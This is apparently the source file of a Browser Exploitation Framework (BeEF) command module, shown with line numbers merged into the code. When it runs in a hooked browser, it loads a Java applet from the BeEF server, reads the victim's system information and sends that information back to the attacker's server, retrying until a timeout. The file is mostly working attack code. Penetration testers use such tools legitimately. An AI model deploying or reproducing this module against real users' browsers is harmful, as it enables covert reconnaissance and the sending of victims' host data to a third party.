Path: blob/master/modules/host/get_system_info_java/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78var internal_counter = 0;9var timeout = 30;10var output;1112beef.debug('[Get System Info (Java)] Loading getSystemInfo applet...');13beef.dom.attachApplet('getSystemInfo', 'getSystemInfo', 'getSystemInfo', beef.net.httpproto+"://"+beef.net.host+":"+beef.net.port+"/", null, null);1415function waituntilok() {16beef.debug('[Get System Info (Java)] Executing getSystemInfo applet...');1718try {19output = document.getSystemInfo.getInfo();20if (output) {21beef.debug('[Get System Info (Java)] Retrieved system info: ' + output);22beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"<br>"), beef.are.status_success());23beef.dom.detachApplet('getSystemInfo');24return;25}26} catch (e) {27internal_counter = internal_counter + 5;28if (internal_counter > timeout) {29beef.debug('[Get System Info (Java)] Timeout after ' + timeout + ' seconds');30beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info=Timeout after ' + timeout + ' seconds', beef.are.status_error());31beef.dom.detachApplet('getSystemInfo');32return;33}34setTimeout(function() {waituntilok()}, 5000);35}36}3738setTimeout(function() {waituntilok()}, 5000);39});40414243